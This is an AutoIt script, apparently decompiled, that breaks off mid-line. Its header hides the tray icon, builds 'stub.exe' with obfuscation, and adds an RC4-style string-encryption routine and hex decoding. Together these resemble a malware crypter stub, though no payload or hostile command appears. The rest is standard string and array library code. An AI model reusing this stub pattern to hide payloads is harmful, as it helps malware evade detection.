#NoTrayIcon #Region #AutoIt3Wrapper_OutFile=stub.exe #AutoIt3Wrapper_UseUpx=n #AutoIt3Wrapper_Run_Obfuscator=y #EndRegion Func _hextostring($shex) If NOT (StringLeft($shex, 2) == "0x") Then $shex = "0x" & $shex Return BinaryToString($shex) EndFunc Func _stringbetween($sstring, $sstart, $send, $fcase = False) If $fcase = Default Then $fcase = False EndIf Local $scase = "(?is)" If $fcase Then $scase = "(?s)" EndIf $sstart = $sstart ? "\Q" & $sstart & "\E" : "\A" $send = $send ? "(?=\Q" & $send & "\E)" : "\z" Local $areturn = StringRegExp($sstring, $scase & $sstart & "(.*?)" & $send, 3) If @error Then Return SetError(1, 0, 0) Return $areturn EndFunc Func _stringencrypt($i_encrypt, $s_encrypttext, $s_encryptpassword, $i_encryptlevel = 1) If $i_encrypt <> 0 AND $i_encrypt <> 1 Then SetError(1, 0, "") ElseIf $s_encrypttext = "" OR $s_encryptpassword = "" Then SetError(1, 0, "") Else If Number($i_encryptlevel) <= 0 OR Int($i_encryptlevel) <> $i_encryptlevel Then $i_encryptlevel = 1 Local $v_encryptmodified Local $i_encryptcounth Local $i_encryptcountg Local $v_encryptswap Local $av_encryptbox[256][2] Local $i_encryptcounta Local $i_encryptcountb Local $i_encryptcountc Local $i_encryptcountd Local $i_encryptcounte Local $v_encryptcipher Local $v_encryptcipherby If $i_encrypt = 1 Then For $i_encryptcountf = 0 To $i_encryptlevel Step 1 $i_encryptcountg = "" $i_encryptcounth = "" $v_encryptmodified = "" For $i_encryptcountg = 1 To StringLen($s_encrypttext) If $i_encryptcounth = StringLen($s_encryptpassword) Then $i_encryptcounth = 1 Else $i_encryptcounth += 1 EndIf $v_encryptmodified = $v_encryptmodified & Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255)) Next $s_encrypttext = $v_encryptmodified $i_encryptcounta = "" $i_encryptcountb = 0 $i_encryptcountc = "" $i_encryptcountd = "" $i_encryptcounte = "" $v_encryptcipherby = "" $v_encryptcipher = "" $v_encryptswap = "" $av_encryptbox = "" Local $av_encryptbox[256][2] For $i_encryptcounta = 0 To 255 $av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1)) $av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta Next For $i_encryptcounta = 0 To 255 $i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256) $v_encryptswap = $av_encryptbox[$i_encryptcounta][0] $av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0] $av_encryptbox[$i_encryptcountb][0] = $v_encryptswap Next For $i_encryptcounta = 1 To StringLen($s_encrypttext) $i_encryptcountc = Mod(($i_encryptcountc + 1), 256) $i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256) $i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0] $v_encryptcipherby = BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcounta, 1)), $i_encryptcounte) $v_encryptcipher &= Hex($v_encryptcipherby, 2) Next $s_encrypttext = $v_encryptcipher Next Else For $i_encryptcountf = 0 To $i_encryptlevel Step 1 $i_encryptcountb = 0 $i_encryptcountc = "" $i_encryptcountd = "" $i_encryptcounte = "" $v_encryptcipherby = "" $v_encryptcipher = "" $v_encryptswap = "" $av_encryptbox = "" Local $av_encryptbox[256][2] For $i_encryptcounta = 0 To 255 $av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1)) $av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta Next For $i_encryptcounta = 0 To 255 $i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256) $v_encryptswap = $av_encryptbox[$i_encryptcounta][0] $av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0] $av_encryptbox[$i_encryptcountb][0] = $v_encryptswap Next For $i_encryptcounta = 1 To StringLen($s_encrypttext) Step 2 $i_encryptcountc = Mod(($i_encryptcountc + 1), 256) $i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256) $i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0] $v_encryptcipherby = BitXOR(Dec(StringMid($s_encrypttext, $i_encryptcounta, 2)), $i_encryptcounte) $v_encryptcipher = $v_encryptcipher & Chr($v_encryptcipherby) Next $s_encrypttext = $v_encryptcipher $i_encryptcountg = "" $i_encryptcounth = "" $v_encryptmodified = "" For $i_encryptcountg = 1 To StringLen($s_encrypttext) If $i_encryptcounth = StringLen($s_encryptpassword) Then $i_encryptcounth = 1 Else $i_encryptcounth += 1 EndIf $v_encryptmodified &= Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255)) Next $s_encrypttext = $v_encryptmodified Next EndIf Return $s_encrypttext EndIf EndFunc Func _stringexplode($sstring, $sdelimiter, $ilimit = 0) Local Const $null = Chr(0) If $ilimit = Default Then $ilimit = 0 If $ilimit > 0 Then $sstring = StringReplace($sstring, $sdelimiter, $null, $ilimit) $sdelimiter = $null ElseIf $ilimit < 0 Then Local $iindex = StringInStr($sstring, $sdelimiter, 0, $ilimit) If $iindex Then $sstring = StringLeft($sstring, $iindex - 1) EndIf EndIf Return StringSplit($sstring, $sdelimiter, 3) EndFunc Func _stringinsert($sstring, $sinsertstring, $iposition) $iposition = Int($iposition) Local $ilength = StringLen($sstring) If Abs($iposition) > $ilength Then Return SetError(1, 0, $sstring) EndIf If NOT IsString($sinsertstring) Then $sinsertstring = String($sinsertstring) If NOT IsString($sstring) Then $sstring = String($sstring) $sinsertstring = StringReplace($sinsertstring, "\", "\\") If $iposition >= 0 Then Return StringRegExpReplace($sstring, "(?s)\A(.{" & $iposition & "})(.*)\z", "${1}" & $sinsertstring & "$2") Else Return StringRegExpReplace($sstring, "(?s)\A(.*)(.{" & -$iposition & "})\z", "${1}" & $sinsertstring & "$2") EndIf EndFunc Func _stringproper($sstring) Local $fcapnext = True, $schr = "", $sreturn = "" For $i = 1 To StringLen($sstring) $schr = StringMid($sstring, $i, 1) Select Case $fcapnext = True If StringRegExp($schr, "[a-zA-ZА-яљњћџ]") Then $schr = StringUpper($schr) $fcapnext = False EndIf Case NOT StringRegExp($schr, "[a-zA-ZА-яљњћџ]") $fcapnext = True Case Else $schr = StringLower($schr) EndSelect $sreturn &= $schr Next Return $sreturn EndFunc Func _stringrepeat($sstring, $irepeatcount) $irepeatcount = Int($irepeatcount) If StringLen($sstring) < 1 OR $irepeatcount < 0 Then Return SetError(1, 0, "") Local $sresult = "" While $irepeatcount > 1 If BitAND($irepeatcount, 1) Then $sresult &= $sstring $sstring &= $sstring $irepeatcount = BitShift($irepeatcount, 1) WEnd Return $sstring & $sresult EndFunc Func _stringreverse($sstring) Return STRINGREVERSE($sstring) EndFunc Func _stringtitlecase($sstring) Local $fcapnext = True, $schr = "", $sreturn = "" For $i = 1 To StringLen($sstring) $schr = StringMid($sstring, $i, 1) Select Case $fcapnext = True If StringRegExp($schr, "[a-zA-Z\xC0-\xFF0-9]") Then $schr = StringUpper($schr) $fcapnext = False EndIf Case NOT StringRegExp($schr, "[a-zA-Z\xC0-\xFF'0-9]") $fcapnext = True Case Else $schr = StringLower($schr) EndSelect $sreturn &= $schr Next Return $sreturn EndFunc Func _stringtohex($sstring) Return Hex(StringToBinary($sstring)) EndFunc Func _arrayadd(ByRef $avarray, $vvalue) If NOT IsArray($avarray) Then Return SetError(1, 0, -1) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, -1) Local $iubound = UBound($avarray) ReDim $avarray[$iubound + 1] $avarray[$iubound] = $vvalue Return $iubound EndFunc Func _arraybinarysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, -1) If UBound($avarray, 0) <> 1 Then Return SetError(5, 0, -1) Local $iubound = UBound($avarray) - 1 If $iubound = -1 Then Return SetError(6, 0, -1) If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(4, 0, -1) Local $imid = Int(($iend + $istart) / 2) If $avarray[$istart] > $vvalue OR $avarray[$iend] < $vvalue Then Return SetError(2, 0, -1) While $istart <= $imid AND $vvalue <> $avarray[$imid] If $vvalue < $avarray[$imid] Then $iend = $imid - 1 Else $istart = $imid + 1 EndIf $imid = Int(($iend + $istart) / 2) WEnd If $istart > $iend Then Return SetError(3, 0, -1) Return $imid EndFunc Func _arraycombinations(Const ByRef $avarray, $iset, $sdelim = "") If NOT IsArray($avarray) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0) Local $in = UBound($avarray) Local $ir = $iset Local $aidx[$ir] For $i = 0 To $ir - 1 $aidx[$i] = $i Next Local $itotal = __array_combinations($in, $ir) Local $ileft = $itotal Local $aresult[$itotal + 1] $aresult[0] = $itotal Local $icount = 1 While $ileft > 0 __array_getnext($in, $ir, $ileft, $itotal, $aidx) For $i = 0 To $iset - 1 $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim Next If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1) $icount += 1 WEnd Return $aresult EndFunc Func _arrayconcatenate(ByRef $avarraytarget, Const ByRef $avarraysource, $istart = 0) If NOT IsArray($avarraytarget) Then Return SetError(1, 0, 0) If NOT IsArray($avarraysource) Then Return SetError(2, 0, 0) If UBound($avarraytarget, 0) <> 1 Then If UBound($avarraysource, 0) <> 1 Then Return SetError(5, 0, 0) Return SetError(3, 0, 0) EndIf If UBound($avarraysource, 0) <> 1 Then Return SetError(4, 0, 0) Local $iuboundtarget = UBound($avarraytarget) - $istart, $iuboundsource = UBound($avarraysource) ReDim $avarraytarget[$iuboundtarget + $iuboundsource] For $i = $istart To $iuboundsource - 1 $avarraytarget[$iuboundtarget + $i] = $avarraysource[$i] Next Return $iuboundtarget + $iuboundsource EndFunc Func _arraydelete(ByRef $avarray, $ielement) If NOT IsArray($avarray) Then Return SetError(1, 0, 0) Local $iubound = UBound($avarray, 1) - 1 If $ielement < 0 Then $ielement = 0 If $ielement > $iubound Then $ielement = $iubound Switch UBound($avarray, 0) Case 1 For $i = $ielement To $iubound - 1 $avarray[$i] = $avarray[$i + 1] Next ReDim $avarray[$iubound] Case 2 Local $isubmax = UBound($avarray, 2) - 1 For $i = $ielement To $iubound - 1 For $j = 0 To $isubmax $avarray[$i][$j] = $avarray[$i + 1][$j] Next Next ReDim $avarray[$iubound][$isubmax + 1] Case Else Return SetError(3, 0, 0) EndSwitch Return $iubound EndFunc Func _arraydisplay(Const ByRef $avarray, $stitle = Default, $sarray_range = Default, $iflags = Default, $vuser_separator = Default, $sheader = Default, $imax_colwidth = Default, $ialt_color = Default, $huser_func = Default) Local Const $_arrayconstant_mb_systemmodal = 4096 Local Const $_arrayconstant_mb_iconerror = 16 Local Const $_arrayconstant_mb_yesno = 4 Local Const $_arrayconstant_idyes = 6 If $stitle = Default Then $stitle = "ArrayDisplay" If $sarray_range = Default Then $sarray_range = "" If $iflags = Default Then $iflags = 0 If $vuser_separator = Default Then $vuser_separator = "" If $sheader = Default Then $sheader = "" If $imax_colwidth = Default Then $imax_colwidth = 350 If $ialt_color = Default Then $ialt_color = 0 If $huser_func = Default Then $huser_func = 0 Local $itranspose = BitAND($iflags, 1) Local $icolalign = BitAND($iflags, 6) Local $iverbose = BitAND($iflags, 8) Local $smsg = "", $iret If IsArray($avarray) Then Local $idimension = UBound($avarray, 0), $irowcount = UBound($avarray, 1), $icolcount = UBound($avarray, 2) If $idimension > 2 Then $smsg = "Larger than 2D array passed to function" $iret = 2 EndIf Else $smsg = "No array variable passed to function" $iret = 1 EndIf If $smsg Then If $iverbose AND MsgBox($_arrayconstant_mb_systemmodal + $_arrayconstant_mb_iconerror + $_arrayconstant_mb_yesno, "ArrayDisplay Error: " & $stitle, $smsg & @CRLF & @CRLF & "Exit the script?") = $_arrayconstant_idyes Then Exit Else Return SetError($iret, 0, "") EndIf EndIf Local $icw_colwidth = Number($vuser_separator) Local $sad_separator = ChrW(64177) Local $scurr_separator = Opt("GUIDataSeparatorChar", $sad_separator) If $vuser_separator = "" Then $vuser_separator = $scurr_separator Local $vtmp, $irowlimit = 65525, $icollimit = 250 Local $idatarow = $irowcount Local $idatacol = $icolcount Local $iitem_start = 0, $iitem_end = $irowcount - 1, $isubitem_start = 0, $isubitem_end = $icolcount - 1, $avdimsplit, $avrangesplit If $idimension = 1 Then $isubitem_end = 0 If $sarray_range Then If (NOT StringInStr($sarray_range, "|")) Then $sarray_range &= "|" EndIf $avdimsplit = StringSplit($sarray_range, "|") If NOT @error Then $avrangesplit = StringSplit($avdimsplit[1], ":") If @error Then $iitem_start = 0 If Number($avrangesplit[1]) Then $iitem_end = Number($avrangesplit[1]) EndIf Else $iitem_start = Number($avrangesplit[1]) If Number($avrangesplit[2]) Then $iitem_end = Number($avrangesplit[2]) EndIf EndIf $avrangesplit = StringSplit($avdimsplit[2], ":") If @error Then $isubitem_start = 0 If Number($avrangesplit[1]) Then $isubitem_end = Number($avrangesplit[1]) EndIf Else $isubitem_start = Number($avrangesplit[1]) If Number($avrangesplit[2]) Then $isubitem_end = Number($avrangesplit[2]) EndIf EndIf If $iitem_start < 0 Then $iitem_start = 0 If $isubitem_start < 0 Then $isubitem_start = 0 If $iitem_end > $irowcount - 1 Then $iitem_end = $irowcount - 1 If $isubitem_end > $icolcount - 1 Then $isubitem_end = $icolcount - 1 EndIf EndIf Local $sdisplaydata = "[" & $idatarow Local $ftruncated = False If $itranspose Then If $iitem_end - $iitem_start > $icollimit Then $ftruncated = True $iitem_end = $iitem_start + $icollimit - 1 EndIf Else If $iitem_end - $iitem_start > $irowlimit Then $ftruncated = True $iitem_end = $iitem_start + $irowlimit - 1 EndIf EndIf If $ftruncated Then $sdisplaydata &= "*]" Else $sdisplaydata &= "]" EndIf If $idimension = 2 Then $sdisplaydata &= " [" & $idatacol If $itranspose Then If $isubitem_end - $isubitem_start > $irowlimit Then $ftruncated = True $isubitem_end = $isubitem_start + $irowlimit - 1 EndIf Else If $isubitem_end - $isubitem_start > $icollimit Then $ftruncated = True $isubitem_end = $isubitem_start + $icollimit - 1 EndIf EndIf If $ftruncated Then $sdisplaydata &= "*]" Else $sdisplaydata &= "]" EndIf EndIf Local $stipdata = "" If $ftruncated Then $stipdata &= "Truncated" If $sarray_range Then If $stipdata Then $stipdata &= " - " $stipdata &= "Range set" EndIf If $itranspose Then If $stipdata Then $stipdata &= " - " $stipdata &= "Transposed" EndIf Local $asheader = StringSplit($sheader, $scurr_separator, 2) $sheader = "Row" Local $iindex = $isubitem_start If $itranspose Then For $j = $iitem_start To $iitem_end $sheader &= $sad_separator & "Col " & $j Next Else If $asheader[0] Then For $iindex = $isubitem_start To $isubitem_end If $iindex >= UBound($asheader) Then ExitLoop $sheader &= $sad_separator & $asheader[$iindex] Next EndIf For $j = $iindex To $isubitem_end $sheader &= $sad_separator & "Col " & $j Next EndIf If $iverbose AND ($iitem_end - $iitem_start) * ($isubitem_end - $isubitem_start) > 10000 Then SplashTextOn("ArrayDisplay", "Preparing display" & @CRLF & @CRLF & "Please be patient", 300, 100) EndIf If $itranspose Then $vtmp = $iitem_start $iitem_start = $isubitem_start $isubitem_start = $vtmp $vtmp = $iitem_end $iitem_end = $isubitem_end $isubitem_end = $vtmp EndIf Local $avarraytext[$iitem_end - $iitem_start + 1] For $i = $iitem_start To $iitem_end $avarraytext[$i - $iitem_start] = "[" & $i & "]" For $j = $isubitem_start To $isubitem_end If $idimension = 1 Then If $itranspose Then $vtmp = $avarray[$j] Else $vtmp = $avarray[$i] EndIf Else If $itranspose Then $vtmp = $avarray[$j][$i] Else $vtmp = $avarray[$i][$j] EndIf EndIf $avarraytext[$i - $iitem_start] &= $sad_separator & $vtmp Next Next Local Const $_arrayconstant_gui_dockbottom = 64 Local Const $_arrayconstant_gui_dockborders = 102 Local Const $_arrayconstant_gui_dockheight = 512 Local Const $_arrayconstant_gui_dockleft = 2 Local Const $_arrayconstant_gui_dockright = 4 Local Const $_arrayconstant_gui_dockhcenter = 8 Local Const $_arrayconstant_gui_event_close = -3 Local Const $_arrayconstant_gui_disable = 128 Local Const $_arrayconstant_gui_focus = 256 Local Const $_arrayconstant_gui_bkcolor_lv_alternate = -33554432 Local Const $_arrayconstant_ss_center = 1 Local Const $_arrayconstant_ss_centerimage = 512 Local Const $_arrayconstant_lvm_getitemcount = (4096 + 4) Local Const $_arrayconstant_lvm_getitemrect = (4096 + 14) Local Const $_arrayconstant_lvm_getcolumnwidth = (4096 + 29) Local Const $_arrayconstant_lvm_setcolumnwidth = (4096 + 30) Local Const $_arrayconstant_lvm_getitemstate = (4096 + 44) Local Const $_arrayconstant_lvm_getselectedcount = (4096 + 50) Local Const $_arrayconstant_lvm_setextendedlistviewstyle = (4096 + 54) Local Const $_arrayconstant_lvs_ex_gridlines = 1 Local Const $_arrayconstant_lvis_selected = 2 Local Const $_arrayconstant_lvs_showselalways = 8 Local Const $_arrayconstant_lvs_ex_fullrowselect = 32 Local Const $_arrayconstant_ws_ex_clientedge = 512 Local Const $_arrayconstant_ws_maximizebox = 65536 Local Const $_arrayconstant_ws_minimizebox = 131072 Local Const $_arrayconstant_ws_sizebox = 262144 Local Const $_arrayconstant_wm_setredraw = 11 Local Const $_arrayconstant_lvscw_autosize = -1 Local $iorgwidth = 210, $iheight = 200, $iminsize = 250 Local $hgui = GUICreate($stitle, $iorgwidth, $iheight, Default, Default, BitOR($_arrayconstant_ws_sizebox, $_arrayconstant_ws_minimizebox, $_arrayconstant_ws_maximizebox)) Local $aiguisize = WinGetClientSize($hgui) Local $ibuttonwidth_2 = $aiguisize[0] / 2 Local $ibuttonwidth_3 = $aiguisize[0] / 3 Local $clistview = GUICtrlCreateListView($sheader, 0, 0, $aiguisize[0], $aiguisize[1] - 46, $_arrayconstant_lvs_showselalways) GUICtrlSetBkColor($clistview, $_arrayconstant_gui_bkcolor_lv_alternate) GUICtrlSendMsg($clistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_gridlines, $_arrayconstant_lvs_ex_gridlines) GUICtrlSendMsg($clistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_fullrowselect, $_arrayconstant_lvs_ex_fullrowselect) GUICtrlSendMsg($clistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_ws_ex_clientedge, $_arrayconstant_ws_ex_clientedge) Local $ccopy_id = GUICtrlCreateButton("Copy Data && Hdr/Row", 0, $aiguisize[1] - 43, $ibuttonwidth_2, 20) Local $ccopy_data = GUICtrlCreateButton("Copy Data Only", $ibuttonwidth_2, $aiguisize[1] - 43, $ibuttonwidth_2, 20) Local $cdata_label = GUICtrlCreateLabel($sdisplaydata, 5, $aiguisize[1] - 22, $ibuttonwidth_3 - 5, 18, BitOR($_arrayconstant_ss_center, $_arrayconstant_ss_centerimage)) Local $cuser_func = GUICtrlCreateButton("Run User Func", $ibuttonwidth_3, $aiguisize[1] - 23, $ibuttonwidth_3, 20) If NOT IsFunc($huser_func) Then GUICtrlSetState($cuser_func, $_arrayconstant_gui_disable) Local $cexit_script = GUICtrlCreateButton("Exit Script", $ibuttonwidth_3 * 2, $aiguisize[1] - 23, $ibuttonwidth_3, 20) Select Case $ftruncated OR $itranspose OR $sarray_range GUICtrlSetColor($cdata_label, 16711680) GUICtrlSetTip($cdata_label, $stipdata) EndSelect GUICtrlSetResizing($clistview, $_arrayconstant_gui_dockborders) GUICtrlSetResizing($ccopy_id, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight) GUICtrlSetResizing($ccopy_data, $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight) GUICtrlSetResizing($cdata_label, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight) GUICtrlSetResizing($cuser_func, $_arrayconstant_gui_dockhcenter + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight) GUICtrlSetResizing($cexit_script, $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight) GUICtrlSendMsg($clistview, $_arrayconstant_wm_setredraw, 0, 0) Local $citem For $i = 0 To UBound($avarraytext) - 1 $citem = GUICtrlCreateListViewItem($avarraytext[$i], $clistview) If $ialt_color Then GUICtrlSetBkColor($citem, $ialt_color) EndIf Next If $icolalign Then Local Const $_arrayconstant_lvcf_fmt = 1 Local Const $_arrayconstant_lvm_setcolumnw = (4096 + 96) Local $tcolumn = DllStructCreate("uint Mask;int Fmt;int CX;ptr Text;int TextMax;int SubItem;int Image;int Order;int cxMin;int cxDefault;int cxIdeal") DllStructSetData($tcolumn, "Mask", $_arrayconstant_lvcf_fmt) DllStructSetData($tcolumn, "Fmt", $icolalign / 2) Local $pcolumn = DllStructGetPtr($tcolumn) For $i = 1 To $isubitem_end - $isubitem_start + 1 GUICtrlSendMsg($clistview, $_arrayconstant_lvm_setcolumnw, $i, $pcolumn) Next EndIf GUICtrlSendMsg($clistview, $_arrayconstant_wm_setredraw, 1, 0) Local $iborder = 45 If UBound($avarraytext) > 20 Then $iborder += 20 EndIf Local $iwidth = $iborder, $icolwidth = 0, $aicolwidth[$isubitem_end - $isubitem_start + 2], $imin_colwidth = 55 For $i = 0 To $isubitem_end - $isubitem_start + 1 GUICtrlSendMsg($clistview, $_arrayconstant_lvm_setcolumnwidth, $i, $_arrayconstant_lvscw_autosize) $icolwidth = GUICtrlSendMsg($clistview, $_arrayconstant_lvm_getcolumnwidth, $i, 0) If $icolwidth < $imin_colwidth Then GUICtrlSendMsg($clistview, $_arrayconstant_lvm_setcolumnwidth, $i, $imin_colwidth) $icolwidth = $imin_colwidth EndIf $iwidth += $icolwidth $aicolwidth[$i] = $icolwidth Next If $iwidth > @DesktopWidth - 100 Then $iwidth = $iborder For $i = 0 To $isubitem_end - $isubitem_start + 1 If $aicolwidth[$i] > $imax_colwidth Then GUICtrlSendMsg($clistview, $_arrayconstant_lvm_setcolumnwidth, $i, $imax_colwidth) $iwidth += $imax_colwidth Else $iwidth += $aicolwidth[$i] EndIf Next EndIf If $iwidth > @DesktopWidth - 100 Then $iwidth = @DesktopWidth - 100 ElseIf $iwidth < $iminsize Then $iwidth = $iminsize EndIf Local $trect = DllStructCreate("struct; long Left;long Top;long Right;long Bottom; endstruct") DllCall("user32.dll", "struct*", "SendMessageW", "hwnd", GUICtrlGetHandle($clistview), "uint", $_arrayconstant_lvm_getitemrect, "wparam", 0, "struct*", $trect) Local $aiwin_pos = WinGetPos($hgui) Local $ailv_pos = ControlGetPos($hgui, "", $clistview) $iheight = ((UBound($avarraytext) + 3) * (DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top"))) + $aiwin_pos[3] - $ailv_pos[3] If $iheight > @DesktopHeight - 100 Then $iheight = @DesktopHeight - 100 ElseIf $iheight < $iminsize Then $iheight = $iminsize EndIf SplashOff() GUISetState(@SW_HIDE, $hgui) WinMove($hgui, "", (@DesktopWidth - $iwidth) / 2, (@DesktopHeight - $iheight) / 2, $iwidth, $iheight) GUISetState(@SW_SHOW, $hgui) Local $ioneventmode = Opt("GUIOnEventMode", 0), $imsg While 1 $imsg = GUIGetMsg() Switch $imsg Case $_arrayconstant_gui_event_close ExitLoop Case $ccopy_id, $ccopy_data Local $isel_count = GUICtrlSendMsg($clistview, $_arrayconstant_lvm_getselectedcount, 0, 0) If $iverbose AND (NOT $isel_count) AND ($iitem_end - $iitem_start) * ($isubitem_end - $isubitem_start) > 10000 Then SplashTextOn("ArrayDisplay", "Copying data" & @CRLF & @CRLF & "Please be patient", 300, 100) EndIf Local $sclip = "", $sitem, $asplit For $i = 0 To $iitem_end - $iitem_start If $isel_count AND NOT (GUICtrlSendMsg($clistview, $_arrayconstant_lvm_getitemstate, $i, $_arrayconstant_lvis_selected)) Then ContinueLoop EndIf $sitem = $avarraytext[$i] If $imsg = $ccopy_data Then $sitem = StringRegExpReplace($sitem, "^\[\d+\].(.*)$", "$1") EndIf If $icw_colwidth Then $asplit = StringSplit($sitem, $sad_separator) $sitem = "" For $j = 1 To $asplit[0] $sitem &= StringFormat("%-" & $icw_colwidth + 1 & "s", StringLeft($asplit[$j], $icw_colwidth)) Next Else $sitem = StringReplace($sitem, $sad_separator, $vuser_separator) EndIf $sclip &= $sitem & @CRLF Next If $imsg = $ccopy_id Then If $icw_colwidth Then $asplit = StringSplit($sheader, $sad_separator) $sitem = "" For $j = 1 To $asplit[0] $sitem &= StringFormat("%-" & $icw_colwidth + 1 & "s", StringLeft($asplit[$j], $icw_colwidth)) Next Else $sitem = StringReplace($sheader, $sad_separator, $vuser_separator) EndIf $sclip = $sitem & @CRLF & $sclip EndIf ClipPut($sclip) SplashOff() GUICtrlSetState($clistview, $_arrayconstant_gui_focus) Case $cuser_func Local $aiselitems[$irowlimit] = [0] For $i = 0 To GUICtrlSendMsg($clistview, $_arrayconstant_lvm_getitemcount, 0, 0) If GUICtrlSendMsg($clistview, $_arrayconstant_lvm_getitemstate, $i, $_arrayconstant_lvis_selected) Then $aiselitems[0] += 1 $aiselitems[$aiselitems[0]] = $i + $iitem_start EndIf Next ReDim $aiselitems[$aiselitems[0] + 1] $huser_func($avarray, $aiselitems) GUICtrlSetState($clistview, $_arrayconstant_gui_focus) Case $cexit_script Exit EndSwitch WEnd GUIDelete($hgui) Opt("GUIOnEventMode", $ioneventmode) Opt("GUIDataSeparatorChar", $scurr_separator) Return 1 EndFunc Func _arrayfindall(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $isubitem = 0) $istart = _arraysearch($avarray, $vvalue, $istart, $iend, $icase, $icompare, 1, $isubitem) If @error Then Return SetError(@error, 0, -1) Local $iindex = 0, $avresult[UBound($avarray)] Do $avresult[$iindex] = $istart $iindex += 1 $istart = _arraysearch($avarray, $vvalue, $istart + 1, $iend, $icase, $icompare, 1, $isubitem) Until @error ReDim $avresult[$iindex] Return $avresult EndFunc Func _arrayinsert(ByRef $avarray, $ielement, $vvalue = "") If NOT IsArray($avarray) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0) If $ielement > UBound($avarray) Then Return SetError(3, 0, 0) Local $iubound = UBound($avarray) + 1 ReDim $avarray[$iubound] For $i = $iubound - 1 To $ielement + 1 Step -1 $avarray[$i] = $avarray[$i - 1] Next $avarray[$ielement] = $vvalue Return $iubound EndFunc Func _arraymax(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0) Local $iresult = _arraymaxindex($avarray, $icompnumeric, $istart, $iend) If @error Then Return SetError(@error, 0, "") Return $avarray[$iresult] EndFunc Func _arraymaxindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, -1) If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1) If NOT UBound($avarray) Then Return SetError(4, 0, -1) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, -1) Local $imaxindex = $istart If $icompnumeric Then For $i = $istart To $iend If Number($avarray[$imaxindex]) < Number($avarray[$i]) Then $imaxindex = $i Next Else For $i = $istart To $iend If $avarray[$imaxindex] < $avarray[$i] Then $imaxindex = $i Next EndIf Return $imaxindex EndFunc Func _arraymin(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0) Local $iresult = _arrayminindex($avarray, $icompnumeric, $istart, $iend) If @error Then Return SetError(@error, 0, "") Return $avarray[$iresult] EndFunc Func _arrayminindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, -1) If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1) If NOT UBound($avarray) Then Return SetError(4, 0, -1) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, -1) Local $iminindex = $istart If $icompnumeric Then For $i = $istart To $iend If Number($avarray[$iminindex]) > Number($avarray[$i]) Then $iminindex = $i Next Else For $i = $istart To $iend If $avarray[$iminindex] > $avarray[$i] Then $iminindex = $i Next EndIf Return $iminindex EndFunc Func _arraypermute(ByRef $avarray, $sdelim = "") If NOT IsArray($avarray) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0) Local $isize = UBound($avarray), $ifactorial = 1, $aidx[$isize], $aresult[1], $icount = 1 If UBound($avarray) Then For $i = 0 To $isize - 1 $aidx[$i] = $i Next For $i = $isize To 1 Step -1 $ifactorial *= $i Next ReDim $aresult[$ifactorial + 1] $aresult[0] = $ifactorial __array_exeterinternal($avarray, 0, $isize, $sdelim, $aidx, $aresult, $icount) Else $aresult[0] = 0 EndIf Return $aresult EndFunc Func _arraypop(ByRef $avarray) If 